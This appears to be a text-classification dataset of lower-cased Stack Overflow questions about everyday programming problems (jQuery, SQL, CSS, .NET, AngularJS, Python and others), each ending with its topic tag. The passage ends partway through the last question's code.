insertbefore  value 1  with div class that starts with  externalclass .    <strong>i want to insertbefore the each element in the row to the corresponding element in the same row</strong>    i am using following code:   <pre><code>$( a[href*= folderctid ] ).insertbefore($( div[class^= externalclass ] ));  </code></pre>   but it is inserting all the elements for every row....i think i should make something to specify the entities and loop around each end of the entity...    please help me on this,jquery
delay issues in .net comparing to vb 6.0  i have two issues related to .net (c#/vb).   <ol> <li> i need to query some records from one table  do some updates on the selected records and insert those records to the same table (as new rows). if the are more than 1 million records  the applicaiton delveoped in vb.net is getting delayed too long as compared to application in vb6.0 (both are same process) </li> <li> i have to read a text file and put the data into excel file. if the text file is big  vb 6.0 takes around 1hr  and c#.net takes around 4hrs.  </li> </ol>   is there any general delay in the .net execution or may i missing somethig     thanks  ramesh.,.net
alternative way to explore .net framework source code  while developing with java in eclipse it was very handy: you can attach sources and explore core java code just like your own. in visual studio i know about watching at the .net source code is possible only when debugging (and i can t say this feature works well).<br> are there any alternatives of exploring .net source code,.net
joining statements in mvc 4  i am trying to find the right syntax for my statement but i am lost... what i have is a table that has manufacturers names  a table that has all the different types of cards  and a table that houses all the information for my cards. what i want to do is once a manufacturer is selected i want to query the cards table for all the entries that have the same manufacturer id and get the different types from there  group the types then display their names to the browser.   <pre><code>manufacturers table: id || name  types table: id || name  cards table: id || manufacturer || type || set || year || number || name || team || quantity || price </code></pre>   what i have that semi-works (it displays the same type names multiple times):   <pre><code>var ts = db.query(@ select types.id  types.name from types left outer join cards on types.id = cards.type where manufacturer=@0 order by types.name   manid).tolist(); </code></pre>,sql
css floats within table columns doesn t work   i have table with 2 rows and 2 collumns     <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt;  &lt;form&gt;      &lt;span class= descriptionspizza &gt;extra cheese&lt;/span&gt;     &lt;input name= minus1  type= button  class= button minus  id= minus1  value=  -   /&gt;     &lt;input name= textfield1  type= text  id= textfield1  class= valfield  size= 2  maxlength= 2  value= 0  /&gt;     &lt;input name= add1  type= button  class= button add  id= add1  value=  +   /&gt;  &lt;/td&gt;  &lt;td&gt;      &lt;span class= descriptionspizza &gt;ham&lt;/span&gt;         &lt;input name= minus2  type= button  class= button minus  id= minus2  value=  -   /&gt;     &lt;input class= valfield  name= textfield2  type= text  id= textfield2  size= 2  maxlength= 2  value= 0 /&gt;     &lt;input name= add2  type= button  class= button add  id= add2  value=  +   /&gt;  &lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt;  &lt;td&gt;     &lt;span class= descriptionspizza &gt;mushrooms&lt;/span&gt;     &lt;input name= minus3  type= button  class= button minus  id= minus3  value=  -   /&gt;     &lt;input class= valfield  name= textfield3  type= text  id= textfield3  size= 2  maxlength= 2  value= 0 /&gt;     &lt;input name= add3  type= button  class= button add  id= add3  value=  +   /&gt; &lt;/td&gt;  &lt;td&gt;     &lt;span class= descriptionspizza &gt;pineapple&lt;/span&gt;     &lt;input name= minus4  type= button  class= button minus  id= minus4  value=  -   /&gt;     &lt;input class= valfield  name= textfield4  type= text  id= textfield4  size= 2  maxlength= 2  value= 0 /&gt;     &lt;input name= add4  type= button  class= button add  id= add4  value=  +   /&gt; &lt;/form&gt;  &lt;/td&gt; &lt;/tr&gt;    &lt;/table&gt; </code></pre>   i d like to put all desceriptions in the left of the collumn and the buttons on the right of the collumn but the css used only works for the first column  why is that     css   <pre><code> form span.descriptionpizza { float:left;          }   form input { float:right;         } </code></pre>   any help would be appriciated.,css
how to show insert or cancel buttons instead of links with detailsview   how to show insert or cancel buttons instead of links with detailsview,asp.net
three column css with dynamic automatic middle column by content and with same side columns  i was looking on internet for something like this for four days:    you have three column css  where middle column has automatic width according to content  where my content is one link with table below this link. problem is  that i don t know table s width.    my first try was from this page: <a href= http://www.granneman.com/webdev/coding/css/centertables/  rel= nofollow >center tables</a>    this is pretty good (it centers table to the middle)  but i want to have link to be above left top corner of this table. problem is  that my link is always above center of table (not in left top corner). i tried to set margin to relative position of table  but it is not possible (correct me if i m wrong).    so now i m looking for solution  where i have three columns. the middle one shoud be automatically sized to content (to my table) and remaining width should be divided into two same side columns. problem is  that i found a lot of tutorials  where they do three column sizing  but they always put width of middle column in pixels or in percent - but how can i know  what width will be needed.    i am thankful for every solution (using css or javascript).    thanks,css
regarding .net application  i don t have registry access(regedit) because of this i face the some problem when i m running my asp .net application. after running application gives me following error.   <blockquote>    error 157 cannot register assembly    e:\tushar\checkcashing\business\legacy\moneytransfercommon\bin\debug\common.dll    - access denied. please make sure you re running the application as administrator. access to the registry key    hkey_classes_root\common.utils.stringutils  is denied.   common   (legacy\common)  </blockquote>   please give me the solution for this error. and also give me solution if there is no registry access then also can we able to access application codes.,.net
after adding a join in query - it doesn t work  i had this query which stackoverflow member have helped me on   <pre><code>$raw_results = mysql_query( select * from producttrans     where (`productname` like  % .$query. % ) or (`palletspace` like  % .$query. % ) ) or die(mysql_error()); </code></pre>   i then added a join which gave me this   <pre><code>$raw_results = mysql_query( select palletspaces.*  producttrans.* from palletspaces inner join producttrans on palletspaces.palletspaceid = producttrans.palletspace;         where (`producttrans.productname` like  % .$query. % ) or (`palletspaces.palletspace` like  % .$query. % ) ) or die(mysql_error()); </code></pre>   this gives me the error you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  where (<code>producttrans.productname</code> like  %me% ) or (<code>palletspaces.palletspace</code> li  at line 3    what am i doing wrong,mysql
python: getting none when trying to print  the code below is so simple  why is it printing none. does that mean it s not finding the page    <pre><code>from bs4 import beautifulsoup as soup from robobrowser import robobrowser  br = robobrowser()  login_url =  https://www.cbssports.com/login  login_page = br.open(login_url)  print(login_page) </code></pre>,python
can you describe a table without using a database   i only have read access to a database and am getting the following back from trying to do <code>use dbname</code>:   <pre><code>reading table information for completion of table and column names  you can turn off this feature to get a quicker startup with -a </code></pre>   so i wanted to know if as a workaround i could <code>describe</code> a table within <code>dbname</code> without having to do <code>use dbname</code>  as i believe other tables in the database are forbidden to me  my aim is to only find out the tables columns so i can make a replicate in my development environment,mysql
appears some text that is not in the code of this page  i am making a page  and in this    <a href= http://paypercall.org/app-install/ie-restart.html  rel= nofollow >http://paypercall.org/app-install/ie-restart.html</a>    apears that strange text  up and down in the page    &lt;&lt;&lt;&lt;&lt;&lt;&lt; head &lt;&lt;&lt;&lt;&lt;&lt;&lt; head    ======= ======= >>>>>>> ddc730db718a7c5f4a510aa375ac8aa91f1e46d3 test no stylesheet &amp; no footer &amp; no header >>>>>>> b2d2e680fa867e39690b459ce45b597e67fe96c9    i dont know why it can be  in the code html these texts doesnt appears    please help,html
print number of lines found  new to programming here and was wondering if anyone could help me out:    i m trying to print or return the number of lines found in the below code using one line and i can t figure it out.    <pre><code>query = raw_input( enter string to search for:  ) for line in open( list2.csv ):     if query in line:         print line  </code></pre>,python
how to exporting data from data table to .csv formate  <img src= https://i.stack.imgur.com/8tp77.png  alt= enter image description here >    i am trying to export some data from datatable to .csv file. but the data are not coming to the .csv file its coming as a blank file,asp.net
resources consumed using a timer for interface monitoring instead of built in control events  i  m wondering if using a timer to check if a container control has focus  instead of overriding a couple of mouse and keyboard events to simulate focus changes  would save resources or consume even more.,.net
how to translate default error messages in rails   this not worked for me when i tried to change error_messages_for messages in translation.yml file:   <pre><code>activerecord:  errors:   template:     header:       one:    oops error        other:  many errors      body:     there were problems:  </code></pre>   what can i do to translate  1 error prohibited this product from being saved:   what file contain their text,ruby-on-rails
how to insert a multiple table a query in mysql   i have two table:    <strong>customer</strong>:    <img src= https://i.stack.imgur.com/50pms.png  alt= enter image description here >    and     <strong>employee</strong>:    <img src= https://i.stack.imgur.com/kavtd.png  alt= enter image description here >    how to insert multiple table in one query    <pre><code>$sql= insert into saleorder ( employeeid   customerid   totalamount   saledate ) values( $employeeid   $customerid   $totalamount   $saledate ) ;  $sql= insert into customer ( customercode   customername   gender   email ) values( $customercode   $customername   $gender   $email ) ; </code></pre>   _customerid of customer is auto_increment and saleorderid of saleorder is auto_increment.    if you can help  please explain the syntax.,mysql
php include file in dynamic url <pre><code>&lt; php include( data/url-last-path.php );  &gt; </code></pre>   i am new to php. browser given last path should be displayed dynamic as mentioned in the above link. how to accomplish this,php
i am working with asp.net and i try to display multiple div dynamically it working but every time display same slider data <pre><code>#region fillalldata4     private void fillalldata4()     {         clscategory objcategory = new clscategory(true);         clsproductmain objproduct = new clsproductmain(true);         objcategory.getdropdownmenu();         objproduct.getproduct();         string str = string.empty;         int i = 0;         // int j = 0;         if (objcategory.listclscategory.count &gt; 0)         {             for (i = 0; i &lt; objcategory.listclscategory.count; i++)             {                 cat.innerhtml = objcategory.listclscategory[0].categoryname;                 cat1.innerhtml = objcategory.listclscategory[1].categoryname;                 cat2.innerhtml = objcategory.listclscategory[2].categoryname;                 cat3.innerhtml = objcategory.listclscategory[3].categoryname;                 string[] filepaths = directory.getfiles(server.mappath( ~/images/saree/ ));                 int j = 0;                 foreach (string filepath in filepaths)                 {                     string filename = path.getfilename(filepath);                     str += @ &lt;div&gt;&lt;div&gt;&lt;img class= imges  src= images/saree/  + filename + @   /&gt;&lt;/div&gt;                                   &lt;div class= sname &gt;  + objproduct.listclsproductmain[j].productname + @ &lt;/div&gt;                                  &lt;div class= sname2 &gt;  + objproduct.listclsproductmain[j].mrp + @ &lt;/div&gt;&lt;/div&gt; ;                     j++;                 }                 slider3.innerhtml = str;                 slider4.innerhtml = str;                 slider5.innerhtml = str;                 slider6.innerhtml = str;                 //system.web.ui.htmlcontrols.htmlgenericcontrol creatediv =                 //new system.web.ui.htmlcontrols.htmlgenericcontrol( div );                 //creatediv.id =  creatediv ;                 //creatediv.innerhtml =str;                 //this.controls.add(creatediv);              }         }     }     #endregion </code></pre>,asp.net
jquery toggle input values  i want to toggle the values of two inputs when the user clicks a button just like google maps does when you ask directions.    <strong>html:</strong>   <pre><code>&lt;button&gt;swap&lt;/button&gt; &lt;input type= text  value= mountain view  ca 94043  disabled=  &gt; &lt;input type= text  value= cupertino  ca 95014  disabled=  &gt; </code></pre>   <a href= https://jsfiddle.net/rmdesarrolloweb/ng2f8l1v/1/  rel= nofollow ><strong>fiddle</strong></a>,jquery
notification when avqueueplayer rewinds to the beginning of an item  i have 5 <code>avplayeritems</code> in my <code>avqueueplayer</code>  which is set to <code>avplayeractionatitemendadvance</code>. i hit play on my ui  and play the first  the second and then start playing the third. then i hit my rewind button. what i want to happen is that the third video rewinds to its start  and i then get a notification that allows me to stop. what i m seeing is that i get a status of ready to play for the 4th item  followed by a current item changed to the 4th item - then the 4th item plays.    why does the 4th item become the current item after the 3rd item has rewound to its start    is the only way i can stop this to set the player to not auto advance (<code>avplayeractionatitemendpause</code>)  observe the end of each item  and hope i get an  end of play  notification for the rewinding of the 3rd item  as well as when it plays to its end naturally. then in my end observer code  i can check the rate of the player  and if rewinding  not advance to the next item.,ios
can anyone explain why delegate pattern is an adapter pattern   this is from    pro objective-c design pattern   <blockquote>    the delegation pattern was once one of the inspirations for cataloging   the adapter pattern in the “gang of four” book. so what’s the   connection between them  think again about what the adapter pattern   does: to convert the interface of a class into chapter 8: adapter 113   another interface clients expect. adapter lets classes work together   that couldn’t otherwise because of incompatible interfaces. what could   be the clients here  they will be cocoa touch framework classes. so   what is the “target” in this case  it is a delegation protocol. a   concrete class that implements the protocol will be an adapter in that   case. then what would be the classes that wouldn’t fit to the   framework and need to be adapted  other classes in our apps! so now   you understand why the delegation pattern is  in fact  the adapter   pattern.  </blockquote>   how the hell our class doesn t fit the frame work     for example  let s look at uitableview    our class is an adapter of what  the client is uitableview right     what is the adaptee then,objective-c
angular 1.x set initial state after page reload  im using <code>angular 1</code> for my app + <code>ui router</code>. i want the app to return to the initial state if page reloads. currently  the app stays on the same page it was before  even after the browser refreshes. how can i make the app to return to <code>login</code> state after page reload  this is my <code>app.js</code> with the <code>config</code> data:   <pre><code>app.config(function($stateprovider  $urlrouterprovider) {     var loginstate = {         name:  login           url:  /login           templateurl:  templates/login/login.html           controller:  logincontroller      }      var homepagestate = {         name:  homepage           url:  /homepage           templateurl:  templates/chatroom/homepage.html           controller:  homepagecontroller      }      $stateprovider.state(loginstate);     $stateprovider.state(homepagestate);     $urlrouterprovider.otherwise( login ); }).run([      $state       function($state) {         $state.go( login );     } ]); </code></pre>,angularjs
return service $http.get response to controller without using $scope  i ve been searching around for hours  but i couldn t find a solution. i m trying to retrieve data from a separate json-file in my angularjs application. using the $http i do get the data i want. however  i want to get specific data from that file at in multiple places. in the service i want to define some functions that controllers can call to retrieve the data (that the service got using $http). now the problem is that when i return the all the data to the controller directly  or try to use it later in the service  the assigned variables are undefined. i try to use <em>controller-as syntax</em>  so i do not want to use $scope. however every solution i ve found suggests using $scope. this code now logs <code> f {$$state: {...}}</code>.    <em>code of the service:</em>   <pre><code>theapp.service( settingsservice   function($http) {   this.datavar = $http.get( ../settings.json )     .then(function(response) {       return response;     }); }); </code></pre>   <em>code of the controller:</em>   <pre><code>theapp.controller( somecontroller   [ settingsservice   function(settingsservice) {     console.log(settingsservice.datavar); }]); </code></pre>,angularjs
addition in mysql  is there any way to increment a field  without first having to do a select query to retrieve its initial value      to be more specific : i have a field tracking the number of times a word has appeared. i know i can do this : <code>select count from table where row = 1</code>  retrieve the value  add it to get the new value  and then <code>update table set count = :newvalue where row = 1</code>    ... but i d like to know if there is a way to do this in one query only (in the same way <code>$foo += 5</code> does in php)    thanks,mysql
what is difference between trace into (f7) and step over (f8) in turbo c++   <a href= https://i.stack.imgur.com/jahzn.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jahzn.jpg  alt= enter image description here ></a>    what is main difference between trace into and step over in turbo c++,c++
access c drive using c++ programming  i have a project that must hide a file into an image   first i used command prompt and it goes well. now i am trying to apply this commands using c++ programming language  but each time it gives me that system can t find the specified path although it exists and work well using command prompt.    this my code:    <pre><code>system( cd\\ ); \\access c system( cd x ); \\x is name of folder in c system( copy /b pic.jpg + file.rar newpicture.jpg ); </code></pre>   this is the source of commands: <a href= http://www.instructables.com/id/how-to-hide-files-inside-pictures/  rel= nofollow >http://www.instructables.com/id/how-to-hide-files-inside-pictures/</a>,c++
angularjs: accessing the changed class of an element after ng-click  i have applied <code>ng-click</code> on an element and within the function  i want to access the dom element itself. i could do that with :   <pre><code>var element = $document[1].getelementbyid( &lt;id of the element&gt; );  </code></pre>   however  the problem i am facing is that when that element is clicked  it s class changes. but the element i get using the above method is the previous state of the element before the click. how can i get access to the new attributes of an element after the click is performed      <strong>update</strong>    i am using angularjs  <code>smart-table</code> for displaying data fetched from backend. the library offers sort functionality but it sorts the data which is already fetched from the db and is present in front end. i wanted to tweak it so that when i click the sort button  i should be fetching data from the backend and update the <code>rowcollection</code> so that the table refreshes. now  in order to trigger the api call  i was thinking of using <code>ng-click</code> event on table headers. also  i need to know whether i need to sort in ascending order or descending order. so  for that  <code>smart-table</code> automatically appends a class <code>sort-ascent</code> or <code>sort-descent</code> to the table header when it is clicked. so  i thought maybe if i can access that  then using the combination of the header column (sort key) and the class (sort order)  i can hit the backend api and fetch the appropriate data.     i understand the solution looks more of a hack then a proper way of doing things.,angularjs
sql select statement for today  i have been battling for two days now  please could someone give me a bit of assistance on below. i am trying to select data where a date field/column must equal today s date.   <pre><code>select *  from stock  where date(prevsellprice1date)=date(now()); </code></pre>   please assist if you can  i need to rollout this report.,sql
can i include a css definition in another css definition   so let s say i have the following in  foo.css :   <pre><code>.border { border : solid 1px; } #foo { color : #123; } #bar { color : #a00; } </code></pre>   now let s say that i have two divs i want borders for  so i do:   <pre><code>&lt;div id= foo  class= border &gt;foo&lt;/div&gt; &lt;div id= bar  class= border &gt;bar&lt;/div&gt; </code></pre>   this works fine  but i find that when defining #foo and #bar in my css file  i would rather give them the characteristics of .border than give the div s the class  like so:   <pre><code>.border { border : solid 1px; } #foo {   &lt;incantation to inherit from .border&gt;   color : #123; } #bar {   &lt;incantation to inherit from .border&gt;   color : #a00; } </code></pre>   and then my html would just be:   <pre><code>&lt;div id= foo &gt;foo&lt;/div&gt; &lt;div id= bar &gt;bar&lt;/div&gt; </code></pre>   anybody know what that magic incantation is,css
what is difference between daily device installs and daily user installs of google android console   please help me understanding the difference between daily device installs and daily user installs,android
margin in a div with float  i have confused in putting <code>margin-top</code> in my <code>div#q</code>  it affects also the <code>div#m</code>.    i just want them to be separated  the <code>div#m</code> will be on top and the <code>div#q</code> in the bottom  with having a space between them.    i tried this approach but i have failed  does anyone have a suggestion about my code     i have this html :   <pre><code>&lt;div id= m &gt;     &lt;div id= c  style= background:red; &gt;         &lt;h3&gt;test 1 &lt;/h3&gt;         &lt;ul&gt;             &lt;li&gt;asd&lt;/li&gt;             &lt;li&gt;asds&lt;/li&gt;             &lt;li&gt;asd&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;         &lt;div id= c  style= background:blue; &gt;         &lt;h3&gt;test 2 &lt;/h3&gt;         &lt;ul&gt;             &lt;li&gt;asd&lt;/li&gt;             &lt;li&gt;asds&lt;/li&gt;             &lt;li&gt;asd&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;div id= c  style= background:yellow; &gt;         &lt;h3&gt;test 3 &lt;/h3&gt;         &lt;ul&gt;             &lt;li&gt;asd&lt;/li&gt;             &lt;li&gt;asds&lt;/li&gt;             &lt;li&gt;asd&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;div id= c  style= background:green; &gt;         &lt;h3&gt;test 4 &lt;/h3&gt;         &lt;ul&gt;             &lt;li&gt;asd&lt;/li&gt;             &lt;li&gt;asds&lt;/li&gt;             &lt;li&gt;asd&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;  &lt;/div&gt; &lt;div id= q  style= background:violet; &gt; &lt;/div&gt; </code></pre>   css :   <pre><code>#m{     width :400px; } #c{     width:33.33%;     float : left; } #q{     width: 300px;     height : 200px;     margin-top: 20px; } </code></pre>,css
set a limit to the number of words or characters in a string  say i have a list of string elements   <pre><code>wordlist = [ hi what s up home diddle mc doo    oh wise master kakarot    hello have a da ] </code></pre>   and i want each element in my list to have a maximum of say 3 words or 20 characters.  is there a function to do this,python
remove and release an type object from a view  i have a class call post and its a view....i add it some times in my main view like this: take a lock how to remove and release this object from my self.view.... i just have this class:   <pre><code>@interface post : uiview{       uilabel * label1;       uilabel * label2;       uilabel * label3; } @implementation post -(void)init {     self = [super init];     if (self) {          label1 = [[uilabel alloc]init];          label2 = [[uilabel alloc]init];          label3 = [[uilabel alloc]init];          label1.frame = cgrect(10 10 100 30);          label2.frame = cgrect(10 60 100 30);          label3.frame = cgrect(10 110 100 30);      }     return self; } @end </code></pre>   and this main class controller   <pre><code>@implementation homeviewcontroller -(void)viewdidload{      post *p = [[post alloc]init]      p.frame = cgrect(0 0 0 320 460);      p.backgroundcolor = [uicolor blue];      [self.view addsubview: p];      [p release];        post *p2 = [[post alloc]init]      p2.frame = cgrect(0 0 0 320 460);      p2.backgroundcolor = [uicolor blue];      [self.view addsubview:p2];      [p2 release];       post *p3 = [[post alloc]init]      p3.frame = cgrect(0 0 0 320 460);      p3.backgroundcolor = [uicolor blue];      [self.view addsubview:p3];      [p3 release];  } -(void)removeallposts { //how to remove and release all post from self.view    } @end </code></pre>,ios
variable in return function  is any way in javascript  how access to variable value in return function    <pre><code>function x (){   return{     foo:function(text){       value= text;     }   } } a=x(); a.foo( some text ); </code></pre>,javascript
intercepting the soap envelop in an httprequest  i want to look at the xml created in my httprequest but can t see how.  i ve tried looking at the request during runtime but no luck.    i m working in a .net 4.0 project (just for context here  not that it matters much starting with 2.0)    i m making a call to a third party api via my project s service reference:   <pre><code>someresponsetype response = _apiclient.adduser(usertoadd); </code></pre>   so how do i capture what adduser is creating in terms of the raw xml being sent to the host without having to go through the pain of creating an intercept filter which is not the easiest thing to put together,asp.net
cutting string by using regexp  i want to cut the string using regexp  but not to cut the regexp part...   <pre><code>string path = house/room/cabinet/my_books/bought/2011/adventure/black-ship01/312 pages/... ; string[] substract=path.split( my_ ); path=substract1[1].tostring();// books/bought/2011/adventure/black-ship01/312 pages/... string[] substract2=path.split( -ship.. ); //split using -ship and two random simbols path=substract[1].tostring();  result:   path=  books/bought/2011/adventure/black  should be path=  books/bought/2011/adventure/black-ship01  </code></pre>   so how to add -ship01,java
how to get all groups which user belong to using directory services ldap   i using directoryservice and query ldap to get the group names that the user belong to suppose i am inside a group  test100  and this group  test100  is inside another group say  test  when i query the ldap server the  test  is not getting returned since it is inside test100 and i am inside test100    how to solve this issue.. please help   <pre><code> dim ldappath as string = &lt;ldap string&gt;         entry = new directoryentry(ldappath  &lt;app id&gt;  &lt;password&gt;)         dim search as new directorysearcher(entry)          search.propertiestoload.add([property])         search.filter =  samaccountname=  &amp; filteroutdomain(username)          dim result as searchresult = search.findone()             return result </code></pre>,.net
deviceconsole *** error: can t allocate region *** set a breakpoint in malloc_error_break to debug  i m trying to print nslogs in my terminal.    i m trying to just print the nslogs for a specific proccess like this:    deviceconsole --process instagram   <pre><code>deviceconsole(54197 0x7fff9bd463c0) malloc: *** mach_vm_map(size=18446744072323039232) failed (error code=3)  *** error: can t allocate region  *** set a breakpoint in malloc_error_break to debug  segmentation fault: 11 </code></pre>,ios
find a custom variable string within another string  i ve been holding off from asking this and researching it as much as possible but i still can t find a solution.    i have a php application where there will be certain tokens that will initiate other apps.    for example i will have variables like this   <pre><code>%app:name_of_the_app|id:123123123% </code></pre>   i need to search a string for this type of tag then extract the value of  app  and  id   i also have other tokens that are predefined and they start and end with % so if i have to use different characters to open and close the token that s ok.    app can be alphanumeric and may contain - or _ id is numeric only    thanks!,php
jquery addclass - class is added and removed outside my function  sorry first for my upcoming english.     i ll have an really special problem. i have a grid and each radiobutton ill tranform to a jquery radio button.    now i have created a jquery function that only let you give one answer per line. so long so good. the special thing is the following: i add a class to a jquery label  but this class is automatically removed if you click somewhere in the td. but if you click directly onto the circle  it works. why     i have debuged this function and jquery adds this class  but removes it somewhere at the end.    look at this fiddle: jsfiddle.net/ehhxa/5/    as wished  heres the jquery code:   <pre><code>$( td ).click(function () {     var id = $(this).find( input ).attr( id );      var row = $(this).closest( tr );     row.find( input:checked ).each(function () {         $(this).prop( checked   false).checkboxradio( refresh );         // $(this).closest( div ).find( .ui-btn-inner ).removeclass( selected );     });     $( #  + id).prop( checked   true).checkboxradio( refresh );     $( #  + id).closest( div ).find( .ui-btn-inner ).addclass( selected ); }); </code></pre>   important: maybe you have to enlarge the fiddle until you see the grid. (its a responsive grid  and the mobile version works),jquery
how to convert unsigned char * to unsigned int * in c   i would like to convert a unsigned char * variable to a unsigned int *. something like this    <pre><code>unsigned char *test = 0; unsigned int *x = test; </code></pre>,c
custom class = custom +alloc   custom +init  i m new with objective c for the iphone.    i m writing a custom class  then  should i write my own +alloc  +init methods  i believe that: the +alloc will just call [thing alloc]; and the +init will perform something like: [thing setvalue:x];    is there a  default  +alloc and +init methods  if yes  what should i wait for the default +alloc and +init   let s say i have a nsmutabledictionary* i.e.   <pre><code>@interface class1 : nsobject {      nsstring *test;      nsmutabledictionary *map; } </code></pre>   thanks,objective-c
write a global method that sets created_by and updated_by by current_user  all models in my project have created_by and updated_by. created_by is set by current_user on create and updated_by is set by current_user on update. is there a way to write one global method to manage this,ruby-on-rails
mysql  or  results in wrong  order by   i got the following query.    <pre><code>select t1.parent_id        t1.id        t2.slug        from t1       left    join t2      on t2.node_id = t1.id                where t1.id    and      ( t1.parent_id = 501       or t1.parent_id = 750        )    and t2.display = 1    and t2.active = 1  order      by t1.name asc </code></pre>   seems to work but the ordering is wrong (i m probably wrong - not the ordering). its is like group by <code>t1</code>.<code>parent_id</code>...     with this table:   <pre><code>-------------- name  |  parent_id a     |  501 b     |  750 c     |  501 d     |  750 -------------- </code></pre>   i get this result:   <pre><code>a c b d </code></pre>   but i would expect this:   <pre><code>a b c d </code></pre>   thanks for your time and help...      update:     @juan carlos oropeza thank you. i ran the code in phpmyadmin - same result. i changed to inner join and removed the where t1.id (was not hurting though)  and used t1<code>.</code>parent_id` in (501  750) instead:   <pre><code>mysql_query(      select          `t1`.`parent_id`          `t1`.`id`          `t2`.`slug`          from          `t1`         inner join         `t2`    on `t2`.`node_id` = `t1`.`id`                    where                `t1`.`parent_id` in (501  750)     and         `t2`.`display` = 1     and         `t2`.`active` = 1     order by          `t1`.`lft`     asc  ); </code></pre>   same result,mysql
rails sort_by string with empty string latest <pre><code> foot = [{val:  left }  {val:  right }  {val: nil}]  foot.sort_by{ |f| f[:val].to_s }   =&gt; [{:val=&gt;nil}  {:val=&gt; left } {:val=&gt; right }] </code></pre>   how do i sort such array descеnded with nil-elements at the end of the list  => left  right  nil,ruby-on-rails
dynamic htmlselect options not posting back  i have cascading dropdowns (country/province/city).  when the page posts back i lose the selected option for province and city.  the options for country are loaded through .net code but the province and city options are populated through javascript.    i think this has something to do with viewstate but can t quite wrap my head around why the selected values aren t posting back.,asp.net
generating random numbers and checking for number of prime numbers  i want to create a program that generates random numbers and then asks a user to enter number of prime numbers that have been generated. if the number is correct  the user is declared winner  else  loses. please help.,c
javascript clarification  starting javascript for the first time. looking through some notes i found the following code on creating objects.   <pre><code>var foo = {}; var bar = new object(); </code></pre>   then:   <pre><code>var foo = {    bar:2 } </code></pre>   could anyone let me know the significance of the :2 after bar  what is it referring to      ps. have not tried javascript before so any help would be appreciated,javascript
how to read response from https urls   i am using following code to retrieve response code from https based urls  but when i run a prog it just hangs cont.     code:   <pre><code>import java.net.; import javax.net.ssl.; import java.io.*;  class https2 {     public static void main(string args[]) throws exception     {         url u = new url( https://myurl );         httpsurlconnection hc = (httpsurlconnection)u.openconnection();         hc.setconnecttimeout(3000);         hc.setreadtimeout(5000);         system.out.println( response code:   + hc.getresponsecode());         hc.disconnect();     } } </code></pre>   how can make successfull connection to https urls      any help or ideas will be well appreciated.    thanks,java
centralize background images  i am able to put a x1600 width background image in different screen resolution with the following code :) it works perfectly as it centralized in smaller resolution.   <pre><code>body {     padding: 0;     margin: 0;         background: #f8f7e5 url(images/header-top.jpg) no-repeat center top;         color: #333333; } #content {      width: 860px;     margin: 238px auto 0;     background: #fff;     border: solid 1px #ccc;     padding: 20px; } &lt;body&gt;  &lt;div id= content &gt;     &lt;p&gt;details&lt;/p&gt; &lt;/div&gt; </code></pre>   however  in that large background image  i need to add the effect of changing the menu colour when hover over the menu. with that  i crop that background images into 3 rows ( header  menu  bottom). under the menu section  i cropped each menu vertically and duplicate the menu with different colour. then i combine all the cropped images back into a background image.    the hover effect on menu works perfectly  but background image is no longer align center in smaller resolution. it aligned to the right instead :(    previously it works fine if i put the background picture into the body in css. however  after the picture is cropped  i am no longer able to put those into the body.    this is my code   <pre><code>&lt;div class= menu_image &gt;&lt;img src= images/backgrounds/header-background1.jpg  border= 0  /&gt;&lt;/div&gt;          &lt;div style= line-height: 0px; width:1600px &gt;           &lt;div class= menu_image &gt;&lt;img src= images/backgrounds/header-menu1.jpg  /&gt;&lt;/div&gt;           &lt;a class= menuhover  href= index.php /&gt;           &lt;a class= menuhover2  target= blank  href= http &gt;&lt;/a&gt;           &lt;a class= menuhover3  href= about-us.php &gt;&lt;/a&gt;           &lt;a class= menuhover4  href= portfolio.php &gt;&lt;/a&gt;           &lt;a class= menuhover5  href= contact-us.php &gt;&lt;/a&gt;           &lt;div class= menu_image &gt;&lt;img src= images/backgrounds/header-menu7.jpg  /&gt;&lt;/div&gt;     &lt;/div&gt;          &lt;div class= menu_image &gt;&lt;img src= images/backgrounds/header-background3.jpg  /&gt;&lt;/div&gt; </code></pre>   how do i align the background images above in center in any screen resolution  thanks.,css
angularjs permits update of a single(first) row for sub comments of each post  angularjs having issues in updating each subcommets/subpost of inputted data.    i have a json file which contains <strong>two posts</strong>. the <strong>first post</strong> contains ** three** subposts(subcomment) each with an update button.  the <strong>second post</strong> contains <strong>two</strong> subpost(subcomment) each with an update button.    my intention was to allow user to input any values corresponding to each rows under each post so the new inputed data will replace the already existing data in the angular js view for that row.    the problem is that only the first row of each subcomment for that post gets updated when data is posted.    for instance in <strong>post 1</strong>  if you enter a value at the <strong>first row</strong> and submit  it will update the already existing <code>{{comment.subcomment}}</code> data of the first row.  if you input on row 2 for the same <strong>post 1</strong>  it will update the first row of post 1 instead of second row of that post.    some stackoverflow scholars like <strong>ntp</strong> in the link below <a href= https://stackoverflow.com/questions/50785966/angularjs-allows-data-updates-only-for-the-first-rows/50791338#50791338 >angularjs allows data updates only for the first rows</a>    suggested solution that since the code has 2 <code>ng-repeats</code> and <code>$index</code> passes the index of the inner ng-repeat whereas one need the index of the outer <code>ng-repeat</code>. he concluded that if one modify code to take the index of outer <strong>ng-repeat</strong> as following  it should solve the issue.    1) first add this ng-init to your outer ng-repeat   <pre><code>&lt;div ng-repeat= post in posts track by $index  ng-init= outerindex=$index &gt; </code></pre>   2) use outerindex in your save function   <pre><code>&lt;input type= button  id= but_save  value= save and replace/update  ng-click= setresponse4(post.id 1 outerindex subcomment comment.id) &gt; </code></pre>   but the solution above only updates first inputed values of the of the first subcomment row for each post.  if you input on row 2 for the same  it will update the first row of that post instead of second row of that post for which the button was clicked.    below is the code    js   <pre><code>var app = angular.module( plunker   []);  app.controller( mainctrl   function ($scope) {     $scope.name =  world ;     $scope.posts = [         {              id :  1                title :  my first post title.                comment : [                 {                      subcomment :  post 1 subcomment 1    status :  **working**                  }                   {                      subcomment :  post 1 subcomment 2    status :  **not working**                  }                   {                      subcomment :  post 1 sub comment 3    status :  **not working**                  }             ]         }          {              id :  2                title :  my second post title.                comment : [                 {                      subcomment :  post 2 subcomment 1    status :  **working**                  }                   {                      subcomment :  post 2 subcomment 2    status :  **not working**                  }             ]         }     ];     $scope.setresponse4 = function (postid  type  index  subcomment  commentid) {         var subcomment = subcomment;         